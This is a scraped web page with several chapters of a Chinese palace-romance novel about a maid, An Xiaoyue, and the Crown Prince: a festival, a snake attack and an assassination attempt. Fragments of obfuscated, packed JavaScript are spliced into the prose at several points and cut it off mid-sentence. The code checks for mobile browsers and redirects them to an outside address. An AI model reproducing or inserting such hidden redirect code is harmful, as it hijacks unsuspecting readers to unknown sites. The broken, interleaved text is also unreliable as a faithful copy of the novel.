l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15681658|171448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 安小月心头一跳。 难道六皇子和安欢颜联手对付她? 倒是有这个可能,只是他们胆敢在这种场合动手,万一传到帝后耳中,岂不是自寻死路? **她是小,可皇上必不会容许除了他以外还有人要玷污太子名声。 安小月神色凝重,突然觉得身边危机四伏,下意识往太子身后靠了靠。 萧衍几乎是立刻扭头看她,皱眉。 “做什么?” 安小月咬了咬唇,晃着身子,哼哼唧唧道,“都怪殿下英姿飒然,才会让安大小姐冲动行事。” 安欢颜先前虽炫耀过太子妃之位,可对太子并无多少真心。 如今上赶着,还处处为难她,不就是发现了太子的魅力? 因此都怪他招蜂引蝶。 安小月撇撇嘴,偷偷抬眸瞪他一眼,不曾想太子却一直直勾勾盯着她。 看到她的动作,脸色霎时铁青。 萧衍咬牙,“你还敢瞪孤?第二回了,真当孤舍不得打你吗?” 安小月佯装害怕往后躲,可她这副娇弱模样,偏偏让人生出一股想要狠狠蹂躏的冲动。 萧衍一把攥住她的手腕,一个用力将人扯进怀里。 她的身子被迫与他紧密相贴,胸口被压着,下意识哼了一声。 安小月急忙抬手捂住嘴。 她怎么又发出那种声音了! 他该不会想起自己之前做过的那个梦吧! 怕什么来什么,听到她的娇哼,萧衍神色先是一顿,后又意味深长地挑了挑眉。 “孤问你,在太子府这么久,你可曾梦到过孤?” 安小月缩了缩脖子,眼珠子滴溜溜转来转去,就是不肯和他对视。 萧衍稍微使劲儿按了按她的后腰,“说话,不然孤自然有法子让你开口。” 安小月咬紧牙关就是不肯说,又大着胆子瞪了他一眼。 萧衍气极反笑。 “好,那孤就让你瞧瞧,孤是如何对付被俘虏的敌军的!” 他说完迅速俯身,将她扛在肩上,还故意往上掂了掂,大步流星的往船舱里面走。 周围的侍从急忙背过身不敢去看。 安小月这才急了,她还没个名分,他该不会要变卦吧! 第105章 你能给孤什么 安小月挣扎无果,只能任由摆布,一路被扛进船舱,丢在了柔软的床榻上。 萧衍居高临下地看着她,眸色幽深,缓缓俯身逼近。 “在想什么?” 她心跳如雷,哪里顾得上多想。 早在他逼近的那一刻闭上眼,指尖不自觉揪紧了身下的锦被。 然而,预想中的触碰并未落下。 安小月悄悄睁开眼,却见太子早已站直身子。 他眼中方才的戏谑之意早就消散,取而代之的是一抹难以捉摸的深沉。 “殿下?” 安小月重新坐好,小声唤了句,声音里还带着几分羞怯。 萧衍沉默片刻,忽然抬手揉了揉眉心。 “孤知道你想要什么。” 安小月一怔,还未反应过来,他已转身走向窗边,背对着她,淡淡道,“你想要的东西,孤可以给你。” 安小月还没来得及雀跃,便听他又说,“但天下没有白得的恩惠。” 萧衍侧过脸,半张脸隐在阴影里,唇角勾起一抹似笑非笑。 “你得让孤看到你的价值,否则……” 他转身,一步步走回她面前,俯视着她,眸色深不见底。 “孤凭什么接受你?” 安小月仰头望着他,胸口微微起伏,却抿着唇不说话。 萧衍伸手,轻轻抬起她的下巴,声音低沉而危险,“孤不是那种会因为几句软话,几个眼神就轻易动摇的人。” “想得到什么,就得拿出相应的筹码。” 他松开手,直起身,语气恢复了往日的淡漠。 “好好想想,你能给孤什么,起码……要让孤看到你的决心。” 说完,他转身推门而出。 外面龙舟靠岸的号角声远远传来,安小月的心却彻底乱了。 她独自坐在床榻边,神色恍惚。 太子的脚步声早已远去,可这几句话却像烙在她心头,给她迎头一棒。 这就是他给自己的答案? 安小月神色复杂,不知该做出各种反应。 他话里的意思再明白不过。 要留在太子府,就必须与皇后那边彻底划清界限。 既然今日把话挑明了,太子就绝不会再给她左右逢源的机会。 安小月眼底渐渐浮起决绝之色。 太子要的筹码,无非是她的忠心,她既然要选,那就选最有利的那条路。 与其两头不讨好,不如…… 拼一把! 可这忠心要用什么来证明,却是个难事。 龙舟缓缓靠岸,萧衍神色已恢复如常,率先下了船。 安小月紧随其后。 不过,岸边簇拥的贵女和百姓们仍未散去。 按习俗,龙舟赛胜者需在殿前接受太子赏赐,贵女们则要争抢龙舟上抛下的吉祥红布。 不知是谁先瞧见了太子,人群忽然骚动起来,还同时往他身边靠近。 萧衍蹙眉避开,忽觉袖口一紧。 回头正见安小月攥着他的袖子,杏眼里映着盈盈笑意,“殿下小心台阶。” 她飞快松手,却又低声补了句,“奴替您挡着人。” 话音刚落,远处忽爆发出震天欢呼。 原来是获胜的龙舟队正将红布从桅杆上解下来,军士为他们点燃了庆祝的爆竹。 硝烟弥漫中,萧衍垂眸扫过她扬起的嘴角。 “就你这身板,还想帮孤挡着?” 安小月一顿,整张脸以肉眼可见的速度变红,她张嘴正欲说话,却被对面的人抢了先。 萧衍挑了挑眉,“想不想要红布?” 他在震耳欲聋的爆竹声中俯身贴近她耳畔,“拿你方才没答的话来换。” 周围人声鼎沸,却盖不住他低沉的嗓音。 “梦到孤的时候,你到底看见了什么?” 安小月耳尖发烫,恨不得找个地缝钻进去,却不甘示弱,故意踮起脚尖,凑近他耳边。 她的呼吸轻轻拂过他的颈侧,藏着若有若无的撩拨。 “奴梦见……和殿下结发为夫妻。” 她声音低得几乎听不见,“殿下将奴压下,然后又解了奴的衣裳……” 萧衍的呼吸骤然一滞,喉结滚动了下,眸色随之暗沉。 他垂眼盯着她,嗓音微哑,“继续说。” 安小月却在这时退后半步,眼波流转间带着狡黠的笑意,“殿下若想知道更多,不如……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15687138|171448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话音未落,一道冷厉焦急的声音骤然打断暧昧气氛。 “殿下!” 安欢颜不知何时已站在不远处,脸色阴沉如水。 她死死盯着安小月,眼中几乎要喷出火来,却又强压着怒意,勉强挤出一丝笑。 “殿下,龙舟赛已毕,按规矩,该赏赐胜者了。” 萧衍眉头微皱,显然不悦被打断,但碍于众目睽睽,只得收敛神色,淡淡道,“嗯。” 安欢颜却不依不饶。 她上前一步,语气恭敬却暗含锋芒,“殿下若想赏赐什么,不如让臣女帮忙?方才陛下和娘娘派人传话,说……让臣女别忘了自己的身份。” 萧衍拧眉,瞥了眼苏德。 后者不着痕迹地点了点头,看来是真有此事。 安欢颜嘴角噙着笑意,意有所指地瞥了安小月一眼,“陛下说了,有些人不配逾矩。” 萧衍眸色一冷,还未开口,安小月却已低头福身,声音柔顺,“安大小姐说得是,奴僭越了。” 她退后两步,姿态恭谨。 可抬眸时,却冲着太子极轻地眨了下眼,唇角飞快扬起又落下。 萧衍指尖微动,眼底闪过一丝暗芒。 她是故意的。 之后,萧衍在众目之下颁赏龙舟胜者,又与百姓同饮雄黄酒,分食粽子,直至暮色渐沉才起驾回府。 临行前,他将那象征吉祥的朱红绸布随手丢给安小月,漫不经心道,“赏你了。” 安小月捧着红布,想起船舱内发生的事,耳尖发烫。 旁边的安欢颜一直留意着红布去向,待看到这一切,心底积压的怒火再次燃烧起来。 安小月顾不上管她,跟着队伍踏上回府的道路。 待回府后,她本想伺候太子梳洗,却被苏公公告知太子乏了,早已歇下。 她只得回房,攥着红布辗转半宿,决心好好睡一觉,养足精神。 明日,定要让他看见自己的价值! 安小月累极睡去,却在梦中忽觉一阵黏腻湿冷的触感缠上小腿,像是什么东西正蜿蜒爬行,鳞片刮过肌肤,激起一片战栗。 她无意识地蹬了下腿,却猛地被尖锐刺痛惊醒! “啊!” 第106章 夜半惊魂 安小月尖叫着坐起,慌乱间,掌心按到一团滑腻冰凉的东西,还在游动。 借着窗外惨淡月光,竟见数条黑纹大蛇正盘踞在榻上! 其中一条还死死咬在她脚腕,蛇尾摇摆,乌血已顺着雪白肌肤流了出来。 “姑娘!” 王嬷嬷听到动静赶来,一脚踹开门,灯笼一照,顿时吓得魂飞魄散。 床帐上垂着蛇尾,枕边还有两条吐着信子,发出“嘶嘶”声,作出攻击姿态。 王嬷嬷忍着心慌,抄起门闩就打。 “作死的玩意儿!怎么会有蛇!” 她在一股邪火的刺激下,毫不手软地拍死所有毒蛇,累得直喘粗气,却不敢停歇。 身后有人喊,“王嬷嬷,别打了,蛇都**!” 她这才停下看了眼周围,扔了门闩,一脚踢开死蛇,快步走到床边。 王嬷嬷担忧道,“姑娘被咬了么?” 安小月浑身发冷,被蛇咬伤的脚腕已经泛起乌紫。 痛感顺着脉络蔓延,疼得她指尖发颤。 她死死咬着嘴唇,冷汗浸透鬓发,呼吸急促得几乎要昏过去。 王嬷嬷得不到回应,急得直掉泪,一边用布条勒紧她的小腿,一边朝外喊,“快请太医!快去禀报殿下!” 半刻钟后,门猛地被推开。 萧衍披着外袍大步踏入,衣襟微乱,显然来得极急。 他目光一扫,见安小月唇色泛青,当即冷声下令,“多点几盏灯,备清水,小刀,烈酒来。” 随即坐在榻前,一把扣住她发抖的小腿。 “殿下……”安小月声音发颤,眼里蓄着泪。 “别怕。” 他声音低沉,却莫名让人安心,“毒未入心脉,来得及。” 说完接过小太监递来的银刀,在烛火上烤至发红,随即干脆利落地在伤口上划开十字,乌血顿时涌出。 安小月疼得闷哼一声,下意识想缩腿,却被他牢牢扣住。 “忍一忍。”萧衍语气冷静,手上动作极稳,挤出黑血,又取过烈酒直接冲洗伤口。 火辣辣的刺痛让安小月倒抽一口冷气,眼泪扑簌簌接连落下。 可太子始终神色不变,仿佛天塌下来也能单手撑住。 没过多久,太医气喘吁吁赶到,见状立刻奉上解毒丸。 “殿下,这是专治蛇毒的药,需尽快服下!” 萧衍接过药丸,却未急着递给她,而是让太医确认毒素未扩散后,这才将药丸塞进她口中。 “咽下去,有点苦,别吐。” 安小月含着药,苦得皱眉,却听他又补了一句,“若敢吐出来,孤不会让人替你收尸。” 明明是威胁的话,却让她莫名眼眶一热。 她乖乖咽下药丸,又接过王嬷嬷递来的温水抿了两口。 太医上前,“殿下,剩下的交给老臣来吧。” 萧衍深深看了眼安小月,起身退至一旁,目光冷厉地扫过屋内众人。 “苏德,去查。” 他声音不高,却字字如冰,“这府里,有人嫌命太长。” 太医正在处理她脚腕上的伤口,安小月却顾不上疼,只望着太子的身影,心跳渐渐平稳。 她从未见过有人能在危急时刻如此冷静,仿佛一切尽在掌控之中。 哪怕只是站在那儿,都让人无端安心。 苏德急忙应下,“殿下,奴才这就去查,绝不会让人在太子府里作乱!” 萧衍淡淡“嗯”了一声,目光落在安小月苍白的脸上。 “今晚派人守着她,若再出岔子……” “老奴明白!”王嬷嬷连连点头。 安小月低声道,“谢殿下救命之恩。” 他瞥她一眼,语气依旧冷淡,“好好养着,别耽误日后当差。” 说完,他转身离去,背影挺拔如松。 安小月望着他离开的方向,不自觉攥紧了帕子,心里某个角落,悄悄软了下去。 连她自己都未发觉。 太子走后,屋内摇曳的烛火映得安小月苍白的脸忽明忽暗。 王嬷嬷叫进来几个嬷嬷收拾狼藉,自己则坐在床边,一边替她掖被角,一边低声叹道。 “姑娘,今日这事虽凶险,可你也算因祸得福,殿下亲自来看你,这份体面,多少人求都求不来。” 安小月睫毛颤了颤,轻声道,“嬷嬷,你说是不是有人嫉恨我?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15687139|171448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “何止啊。”王嬷嬷冷笑,“太子府是什么地方?你如今入了殿下的眼,便是块石头也有人想把你碾成粉。” 见安小月明显颤了颤,她又放软了语气。 “可只要认准了殿下这一条路,豁出命去争得荣宠,那些魑魅魍魉自然不敢再动你。” 突然,燃着的烛芯"啪"地爆了个灯花。 安小月猛地惊醒,思绪翻涌。 会是谁? 太子府严如铁桶,寻常人根本进不来,何况要进来作恶。 凶手必定就在太子府内! 可她向来安分守己,从不惹事,众人知道她身份特殊,也不会上赶着找她的麻烦。 “嬷嬷。”安小月忽然想起来一件事,“这府里……可有宫里的眼线?” 先前皇后的确暗中布了眼线,可是都被太子一一拔除。 那些人也许久未来找她,安小月还以为她们早就被撵了出去。 可现在看来却不见得。 王嬷嬷神色陡然凝重起来,握住她的手捏了捏,却什么都没说。 “姑娘安心睡吧,有殿下在,不会有事的。” 安小月还想再问,王嬷嬷却直接出去了。 她只能作罢,打算之后再问。 折腾了半天,又受到巨大惊吓,早就累得不行,可明明困倦至极,却不敢闭眼。 只要一合上眼,那冰凉滑腻的蛇影便仿佛又缠上她的脚腕,惊得她浑身发颤。 安小月死死攥着被角,试图用被子盖住自己,可一想到万一被子里有蛇,她就又吓得伸出脑袋。 反复几次之后,自己先折腾出一身汗。 这时,外间传来窸窣的脚步声,紧接着是王嬷嬷极轻地叹息,但她却没有进来,又出去了。 一刻钟后,玉庆宫。 “苏总管,姑娘实在吓坏了,刚合眼就惊叫着醒来,老奴实在没法子……” 王嬷嬷用帕子抹了抹眼泪,“不如去问问殿下该如何?一直这样也不行。” 苏德沉吟片刻,道,“你且等着。” 说罢,直接进了内殿。 “怎么回事?” 萧衍正背对门立在窗边,听到动静便回了头。 第107章 三天两头出事 苏德低声道,“殿下,安姑娘受了惊吓,夜不能寐,王嬷嬷特来请示,想让殿下想个法子。” 萧衍沉默片刻,忽而道,“罢了,孤过去看看。” 他猜到她今夜恐要做噩梦,却没想到她连觉都不敢睡。 这般胆小,到底是怎么从相府熬出来的? 王嬷嬷得知太子殿下要亲自探望安小月,又惊又喜,快一步跑回去传信。 “姑娘,殿下马上就来,您想怎么样,就得抓住这次机会!” 王嬷嬷帮她顺了顺头发,扶她刚坐起来,外间就传来一阵沉稳有力的脚步声。 “殿下……”安小月往外看,慌忙下床行礼,却被萧衍抬手止住。 “躺着吧。” 他语气依旧冷淡,在她床边的矮凳上坐了下来,“怕什么?蛇早剁了。” 安小月鼻尖一酸。 她不敢说自己怕的不仅是蛇,更怕这皇城里无处不在的杀机,怕自己闭了眼就再醒不过来…… 萧衍见她要哭,无声地叹了口气,颇为无奈道,“给她收拾两件衣裳,搬去孤房里住。” 她这般模样,若不在自己眼皮底下,怕是安心不了。 不如早早搬过去,正好,他也想看看她的决心。 萧衍起身,俯视着安小月,“苏德,抬个轿子过来。” 王嬷嬷闻言,喜不自胜,连忙跪下。 “殿下仁慈!只是姑娘若住过去,恐怕会打扰殿下处理公务,若是传出去……” “无妨。”萧衍语气平静,不容置疑,“孤院里空着的厢房多的是,让她住偏间。” 王嬷嬷仍有些犹豫,“可若是有人借此生事,姑娘她……” 萧衍眸色一沉,声音冷了几分,“孤说了无妨。” 王嬷嬷得到想要的回答,这才松了口气。 她脸上露出喜色,飞快看了眼安小月,连忙起身去收拾衣物。 安小月怔怔地望着太子,眼眶微红。 “殿下,奴……” “别多想。”萧衍打断她,虽是安慰,说出来的话却气**,“自从你住进这院子三天两头出事,孤要让人推了此处。” 安小月一噎,抿了抿唇。 貌似还真是这样…… 很快,王嬷嬷便收拾好了几件衣裳,又扶着安小月起身。 萧衍瞥了一眼她仍有些发抖的身子,忽然过去将人横抱起来大步走出屋子。 踏出院门时,吹来微凉夜风,安小月下意识瑟缩了一下。 萧衍脚步微顿,侧了身子背对着风口。 等到轿子抬过来,他才把人放进去,又将轿帘盖得严严实实。 安小月看着这一切,心底那股挥之不去的恐惧,竟一点点消散不见了。 玉庆宫比安小月原先住的地方大得多,守卫森严,此刻灯火通明。 偏厢早已收拾妥当,一应俱全,甚至熏了安神的香。 王嬷嬷扶着安小月坐下,喜滋滋道,“姑娘这下可安心了,有殿下在,任谁也不敢再害你!” 安小月轻轻点头,指尖抚过柔软的锦被,心里涌起一股暖意。 而另一边,苏德站在廊下,低声对太子道,“殿下,安姑娘住过来,恐怕会惹人非议。” 萧衍眸光微冷,“正好把人**,孤倒要看看,谁敢多嘴。” 苏德立刻噤声,心里却暗暗咂舌。 殿下平日最厌旁人打扰,虽喜安小月,却也不经常允许她近身。 可如今竟亲自将人接来,这安小月,怕是真的要不一样了。 安小月与太子的寝宫只隔着一道墙。 夜已深了,房内烛火早已熄灭,唯有窗外一弯明月透进微光。 安小月蜷缩在锦被里,方才被蛇咬的惊惧仍未散去,总觉得暗处有什么东西在盯着自己。 可每当她竖起耳朵,却只能听见隔壁传来极轻的脚步声,或是茶盏搁在案上的细微响动。 太子还没睡。 这个认知莫名让她安心了些。 她悄悄往墙边挪了挪,仿佛离那声音近一点,就能多一分踏实。 渐渐地,她的眼皮越来越沉。 “嘶……” 梦中,数百条毒蛇突然从黑暗中窜出,獠牙狠狠刺进她的身体。 安小月猛地惊醒,喉咙里喊出一声惊叫。 她弹射起身,却在下一瞬听见隔壁传来一声闷响。 紧接着,一道冷冽的嗓音穿透夜色。 “安小月。” 她呼吸一滞。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15687140|171448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 太子竟听到了她的尖叫,还隔着墙唤了她的名字。 “殿下,奴,奴在。”她声音还有些发抖,“是奴惊扰殿下了。” 隔壁静了一瞬,随后传来衣料摩挲的声响。 “掌灯。” 安小月慌忙点燃床头的烛台,暖黄的光晕立刻驱散了黑暗,也带走些许恐惧。 她盯着墙上那道与太子寝宫相连的菱花门,愣了下。 这扇门,应当不能打开吧? “今夜别熄灯了。” 这时,太子的声音隔着门传来,比平日少了几分凌厉,“明日让人给你换安神香。” 安小月捏着被角的手指慢慢松开,舒了口气。 她望着那扇门,忽然觉得方才梦中的阴冷都被隔在了外面。 “多谢殿下。” 重新躺下时,安小月故意侧身面向那堵墙。 直到再次听见隔壁传来的声音,才缓缓闭上眼睛。 次日,安小月是被一阵凄厉的哭嚎声惊醒的。 她猛地睁开眼,正好看见王嬷嬷推门进来的身影。 王嬷嬷脸色阴沉得可怕,手里捧着一套崭新的藕荷色衣裙。 “嬷嬷,外头出什么事了?” 安小月撑起身子坐起来,休息了一夜未见好,身子还有些发虚。 王嬷嬷还没答话,门外就传来苏德尖细的嗓音,“姑娘可醒了?殿下请您过去呢。” 安小月心头一跳。 王嬷嬷手脚麻利地给她洗漱更衣,临出门前,又突然按住她的肩膀低声道,“姑娘别怕,昨夜作恶那小太监揪出来了,殿下应当是想让姑娘过去观刑。” 安小月蹙了蹙眉,是个小太监? 她刚踏出偏厅,沉闷的板子声就混着惨叫砸进耳朵。 殿前青石板上趴着个满身是血的小太监,两个侍卫正抡着实木板子往他腿上招呼。 每打一下,那小太监就抽搐着嚎叫,石板渐渐洇开暗红的血渍。 萧衍冷脸端坐在廊下,手里捧着茶盏,连眼皮都没抬一下。 安小月死死咬住唇侧的软肉。 那小太监她认得,是之前与她一起给太子做膳食,又把她独自推出去的那个。 怎么会是他? 第108章 互通密信 “殿下,安姑娘到了。”苏德躬身禀报。 萧衍放下茶盏,终于抬眼。 他目光扫过安小月苍白的脸色,招了招手,“过来坐。” 安小月被王嬷嬷扶着坐下,受伤的腿也拿了个矮凳垫着。 “认得他么?”萧衍侧头看她,“他说见你不满,所以才扔了毒蛇想要吓你。” 安小月迟疑着点了点头,“可是,奴从未与他深交过。” 何来不满? 萧衍眸光变得幽深,一字一顿道,“你先前可曾托人出去帮你办事,比如……” “散布孤要退了与相府的婚事?” 安小月耳边骤然炸响一声闷雷,嗡嗡作响。 他不是早就猜到了么,为何会在此时发怒? 萧衍无声嗤了下,指尖轻点案沿。 “孤再问你,你到底为何要带孤去赵家庄?你说你只去过那里,跟谁去的?何年何月?又去做了什么?” 接连而来的质问让安小月浑身发冷。 那日她的确是故意提起庄稼与老鼠的故事,但也没料到太子会突发奇想要微服私访。 她若是真有心害他,如何来得及排兵布阵? 现在想来,这一切的幕后主使应当都与当日在兵部偷听他们谈话的人有关。 会是谁? 殿前的血腥气让安小月头脑发晕,腿伤隐隐作痛,浑身发颤,几乎坐不住。 她看着太子冷冽的眉眼,抿了抿唇。 今日若是不说清楚,恐怕难逃一劫。 安小月深吸一口气,强忍疼痛,刚要起身跪下。 萧衍却冷声道,“不必跪了,直接说。” 安小月指尖微颤,低声道,“回殿下,奴幼时曾在赵家庄住过几日。” 萧衍眸色一沉,指节在案几上轻叩,示意她继续。 “奴幼时不是一直在相府,殿下可还记得奴之前说过的爷爷?他原是赵家庄人士,后因为种种原因离开了赵家庄,奴那次跟着爷爷是回去探亲的……” 她声音很轻,却字字坚定,“奴知道的只有赵家庄,因此殿下说起想要下田,奴只是如实相告,绝无二心。” 萧衍盯着她,目光锐利如刀。 “那你说的田地与老鼠的故事,也发生在赵家庄?” 安小月抿了抿唇,如实道,“回殿下,不是,这只是爷爷给奴讲的一个故事。” “那夜狼群来得蹊跷,后来您又在半夜遇袭,若真是奴所为,奴又怎能在太子府内安排这等险局?” “奴若真存异心,当日大可以趁乱逃走。” 安小月声音微颤,却倔强地挺直脊背,“但是奴没有!” 她忽然仰起脸,一双含泪的杏眼直直望进萧衍眼里,水光潋滟中满是受伤与委屈。 “殿下当真觉得,奴是这样胆大包天的人吗?” 萧衍眸光幽深,修长的手指无意识摩挲着玉扳指。 是。 这个字在唇齿间打了个转,却迟迟未能出口。 眼前浮现她跳入火海决绝的身影,又想起她昨夜被蛇吓得夜不能寐的模样。 若说胆大,怎会被几条蛇吓成那样? 可若说胆小,又怎敢在城中散布谣言? 她手段是软的,做事也不够周全,若不是他暗中遮掩…… 萧衍嘴唇动了动,却什么都没说,淡漠移开视线。 “苏德,把人拖过来。” 下一瞬,廊下便传来重物拖地的声响。 被折磨得不成人形的小太监被苏德拖到台阶下,在地上留下一道暗红血痕。 萧衍抬起靴尖,抵住小太监下巴,“再说一遍,谁让你传的信?” “是,是安姑娘……”小太监咳出血沫,手指在青砖上抓出几道血痕。 “奴才在膳房当差,常要出府采买鲜货,安姑娘盯上奴才后,便常让奴才‘顺路’办事。” 他眼神阴毒地扫向安小月,声音嘶哑如恶鬼索命。 “安姑娘,上个月初七夜里,您让奴才给六殿下传口信,说了‘赵家庄’三个字。” 他颤抖着从怀中掏出一块染血的布条,上面歪歪扭扭写着一个“狼”字。 “这是你亲手写的,你还说,六殿下见了自会明白!” 安小月猛地站起身,脸色煞白,眼中满是不可置信。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15696838|171448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >王嬷嬷急忙上前扶住。 “荒谬!我从未写过什么‘狼’字,也从未提起过赵家庄!更不可能与六皇子勾结!” 她脑子转得极快,突然冷笑一声,指着小太监厉声道,“你说我与六皇子互通密信?那你倒是说说,我写的信在哪儿?拿出来!” 小太监一噎,眼神闪烁,“信,信自然是烧了……” “烧了?” 安小月嗤笑一声,转头看向太子,理直气壮地扬起下巴。 “殿下可以作证,奴根本不会写字,就认得几个大字,上次送出去的那封信全都是用圈圈代替!” 萧衍,“……” 这有什么好骄傲的? 但他面上不显,只是冷淡地“嗯”了一声,算是默认。 安小月不着痕迹松了口气,转回头,继续逼问小太监。 “殿下是初十那日才临时起意要出府,你却说我早在初七晚上就让你通风报信,那我如何确定初十那日殿下一定会出门?还一定会听我的去赵家庄?” 小太监额头冒汗,支支吾吾,“这,这奴才怎么知道?你只让奴才传话。” 安小月冷哼,眼神流露出不屑。 “什么都不知道,还敢乱传?你就不怕出现纰漏,六皇子会杀你泄愤?还敢往我头上扣罪名?那不如让殿下查查,你到底是哪个宫里的人,怎么偏偏就盯上我了?” 小太监脸色骤变,下意识往后缩了缩,却因为身上有伤,艰难地扭动了两下。 萧衍眸光一冷,缓缓站起身,声音低沉危险,“拖下去,好好审。” 苏德福身,“诺。” 就在两名侍卫上前扣住小太监双臂的刹那,异变陡生! 原本瘫软在地,气若游丝的小太监突然暴起,手腕一翻,袖中寒光乍现。 竟是一柄淬了毒的短刀,直刺萧衍心口! “殿下小心!” 电光石火间,安小月猛地纵身扑来。 “噗嗤——” 利刃入肉的闷响格外刺耳。 安小月踉跄着撞在萧衍胸前,肩胛处赫然插着那柄**,鲜血瞬间浸透衣裳,在衣襟上洇开一片暗红。 第109章 可见真心 “找死!”赵忠怒吼一声,瞬时拔出腰间长刀。 然而还未等他近身,那小太监突然浑身抽搐,耳眼口鼻同时涌出黑血,却仍扭曲着脸狞笑。 “一个贱婢……还妄想……” 砰! 他轰然倒地,未说完的话永远噎在了喉间。 周遭死一般的寂静。 小太监的尸体瘫在地上,七窍流出的黑血蜿蜒狰狞,空气中弥漫着淡淡的腥臭味。 所有人都僵在原地,连呼吸都下意识屏住。 谁也没想到,一个看似不起眼的小太监,竟会在临死前爆发出如此狠毒的杀招。 安小月倒在太子怀里,脸色越来越白,唇瓣微微颤抖,似乎想说什么,却只溢出几声微弱的气音。 “太医!叫太医!” 萧衍突然暴喝出声,声音里带着从未有过的震怒与慌乱。 他一把将安小月打横抱起,转身就往内殿冲去。 苏德这才如梦初醒,一脚踹开挡路的尸首,“快叫太医,赵大人,带人封门!” 萧衍把安小月安置在床榻上,正欲起身,衣袖却被死死攥住。 “殿下……” 她的唇色苍白如纸,唯有那双眼睛仍固执地望着他。 萧衍俯身握住她冰凉的手,声音低沉却不容置疑,“别怕,有孤在,绝不会让你死。” 安小月却轻轻摇头,勾起一抹苦笑,“天下……哪有坏人会替人挡刀……” 她喘息着抓住萧衍的衣襟,“殿下可曾……看到奴的真心……” 萧衍呼吸一滞。 殿外传来急促的脚步声,太医们提着药箱仓皇赶来。 萧衍却仍保持着俯身的姿势,在众人惊愕的目光中,忽然贴在她耳边低声道,“孤不许你死。” 顿了顿,又补上一句,“你若敢死,今日这番话,孤就当没听过。” 安小月还想说什么,却被涌上喉头的鲜血呛住。 太医们慌忙上前,“殿下,必须立刻拔刀止血!” 萧衍握紧拳头,“若救不活,你们便提头来见。” 为首的太医咬牙应声,手中动作愈发谨慎。 刀刃拔出时,安小月闷哼一声,指尖深深掐入锦被,却硬是没昏过去。 鲜血刹那涌出,太医立刻以药粉按压,又以金针封穴止血,竟真未再涌出半滴。 一个时辰后,太医伏地禀报,嗓音发颤,“殿下,这刀未伤及心脉,毒已逼出,安姑娘性命无碍了。” 萧衍闭了闭眼,紧绷的肩背终于松懈,却见安小月苍白的唇微微翕动。 他俯身凑近,听见她气若游丝的一句,“殿下,还没回答……” 都这种时候了,她竟还惦记着这个问题! 消息传到凤仪宫时,皇后方才送走后宫的几位妃嫔,眉眼间带着浓浓的不耐。 她盯着跪地的嬷嬷,“那贱婢竟敢为太子挡刀?” “千真万确,刀刃上还淬了毒。”嬷嬷低声道,“太医说再偏半寸就……” 皇后指尖掐进掌心。 她想起那日安小月跪在殿前,看似柔弱却脊背挺直的模样,忽然冷笑。 “本宫又小瞧了她,太子可有事?” “回娘娘,说是只有安姑娘受了伤,但太子殿下无恙。” 皇后蹙紧眉毛,“查!给本宫查清楚,到底是谁这么大胆子!” 不仅大胆,还是个废物。 她胸口微微起伏,总觉得心头压着一块石头,沉甸甸的,像是有什么大事要发生。 嬷嬷领命退下,皇后却仍坐立不安,起身走到窗前,喃喃自语,“好端端的,怎么会有人行刺……” “那贱婢这般烈性,莫不是真动了情?” 与此同时的御书房。 皇帝手中的朱笔在听到暗卫的禀报时骤然一顿,墨汁在奏折上晕开一片。 他缓缓抬眸,眼底寒意森然,“你说,刺客临死前说了六殿下?” 身旁的大太监见状,连忙躬身道,“陛下,此事蹊跷,六殿下虽性子急躁,但应当不至于如此鲁莽……或许是有人故意栽赃?” 皇帝冷笑一声,将朱笔重重搁下。 “无风不起浪。” 他目光沉沉地望向殿外,“老六这些年,是越来越沉不住气了。” 大太监不敢再多言,只低声道,“陛下,此事要如何处置?” 皇帝沉默片刻,眼底闪过一丝锐利,“先压着, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 